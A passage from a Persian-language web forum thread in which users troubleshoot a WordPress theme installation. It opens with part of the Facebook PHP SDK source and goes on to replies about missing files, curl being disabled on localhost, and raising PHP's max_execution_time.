   * because the access token is no longer valid.  If that is
   * the case, then the persistent store is cleared.
   *
   * @param $result array A record storing the error message returned
   *                      by a failed API call.
   */
  protected function throwAPIException($result) {
    $e = new FacebookApiException($result);
    switch ($e->getType()) {
      // OAuth 2.0 Draft 00 style
      case 'OAuthException':
        // OAuth 2.0 Draft 10 style
      case 'invalid_token':
        $message = $e->getMessage();
      if ((strpos($message, 'Error validating access token') !== false) ||
          (strpos($message, 'Invalid OAuth access token') !== false)) {
        $this->setAccessToken(null);
        $this->user = 0;
        $this->clearAllPersistentData();
      }
    }

    throw $e;
  }


  /**
   * Prints to the error log if you aren't in command line mode.
   *
   * @param string $msg Log message
   */
  protected static function errorLog($msg) {
    // disable error log if we are running in a CLI environment
    // @codeCoverageIgnoreStart
    if (php_sapi_name() != 'cli') {
      error_log($msg);
    }
    // uncomment this if you want to see the errors on the page
    // print 'error_log: '.$msg."\n";
    // @codeCoverageIgnoreEnd
  }

  /**
   * Base64 encoding that doesn't need to be urlencode()ed.
   * Exactly the same as base64_encode except it uses
   *   - instead of +
   *   _ instead of /
   *
   * @param string $input base64UrlEncoded string
   * @return string
   */
  protected static function base64UrlDecode($input) {
    return base64_decode(strtr($input, '-_', '+/'));
  }

  /**
   * Each of the following four methods should be overridden in
   * a concrete subclass, as they are in the provided Facebook class.
   * The Facebook class uses PHP sessions to provide a primitive
   * persistent store, but another subclass--one that you implement--
   * might use a database, memcache, or an in-memory cache.
   *
   * @see Facebook
   */

  /**
   * Stores the given ($key, $value) pair, so that future calls to
   * getPersistentData($key) return $value. This call may be in another request.
   *
   * @param string $key
   * @param array $value
   *
   * @return void
   */
  abstract protected function setPersistentData($key, $value);

  /**
   * Get the data for $key, persisted by BaseFacebook::setPersistentData()
   *
   * @param string $key The key of the data to retrieve
   * @param boolean $default The default value to return if $key is not found
   *
   * @return mixed
   */
  abstract protected function getPersistentData($key, $default = false);

  /**
   * Clear the data with $key from the persistent storage
   *
   * @param string $key
   * @return void
   */
  abstract protected function clearPersistentData($key);

  /**
   * Clear all data from the persistent storage
   *
   * @return void
   */
  abstract protected function clearAllPersistentData();
}
اینم کد صفحه

 

kasraa

کاربر عضو
این خطاها میگن که نمیتونه فایل نام بردرو پیدا کنه که مورد نیاز هست

ببین اون فایلایی که نام برده تو پوشه هاشون هستن ؟

اگه باشن دیگه نمیدونم مشکل کجاست و اگر خواستی یوزر پس بده برات نصب کنم چون الآن من خودم دارم روش کار میکنم و تغییراتی روش میدم که بدون مشکل نصب و اجرا میشه :-??

 

Mohammad

مدیر انجمن
پرسنل مدیریت
روی لوکال هاست تابع curl فعال نیست! روی هاست تست کنید

 

arta.mo

تازه وارد
روی لوکال هاست تابع curl فعال نیست! روی هاست تست کنید
روی هاست هم تست کردم

این ارور رو داد

یعنی اصلا به نصب نرسید

اپلود که شدو در حال راه اندازی پوسته که بود این ارور ظاهر شد

Fatal error: Maximum execution time of 10 seconds exceeded in /home/a4043294/public_html/wp-admin/includes/class-wp-filesystem-direct.php on line 172

نمی دونم چه حکایتی داره این قالب که هر جا یه ارور می ده :|:|

اینم تصویر اون لحظه ی خاطره انگیز نصب نشدن پوسته

You must be registered for see images attach


 
آخرین ویرایش توسط مدیر:

arta.mo

تازه وارد
این خطاها میگن که نمیتونه فایل نام بردرو پیدا کنه که مورد نیاز هستببین اون فایلایی که نام برده تو پوشه هاشون هستن ؟

اگه باشن دیگه نمیدونم مشکل کجاست و اگر خواستی یوزر پس بده برات نصب کنم چون الآن من خودم دارم روش کار میکنم و تغییراتی روش میدم که بدون مشکل نصب و اجرا میشه :-??
اره

این فایل ها هم تو داریکتوریش هستند

ولی مشکل انگاری یه تابعی هست 'Exception نام و جلوش متنی نوشته شده که از لحاظ سینکتش اونم مشکلی نداره ولی خطا می ده

پاک قاطی کردم منم :(

راستی اگه واقعا یوزر پسورد بدم بهت !!!

ضمنا به خاطر پیگیریتم فقط می تونم ازت تشکر کنم

مرسی!!!

 

mahdiali35

کاربر عضو
روی هاست هم تست کردم این ارور رو داد

یعنی اصلا به نصب نرسید

اپلود که شدو در حال راه اندازی پوسته که بود این ارور ظاهر شد

Fatal error: Maximum execution time of 10 seconds exceeded in /home/a4043294/public_html/wp-admin/includes/class-wp-filesystem-direct.php on line 172

نمی دونم چه حکایتی داره این قالب که هر جا یه ارور می ده :|:|

اینم تصویر اون لحظه ی خاطره انگیز نصب نشدن پوسته

You must be registered for see images attach
ارور مورد نظر میگه عملیات مورد نظر شما بسشتر از 10 ثانیه طول میکشه و طبق محدودیتهایی که بر روی هاست اعمال شده انجام هر عملیات نباید بیشتر از 10 ثانیه طول بکشه:

برای حل مشکل:

در php.ini تغییر دهید:


کد:
max_execution_time = 60
یا به .htaccess اضافه کنید:


کد:
php_value max_execution_time 60
یا در wp-config.php اضافه کنید:


کد:
set_time_limit(60);
شاد باشید...

 
بالا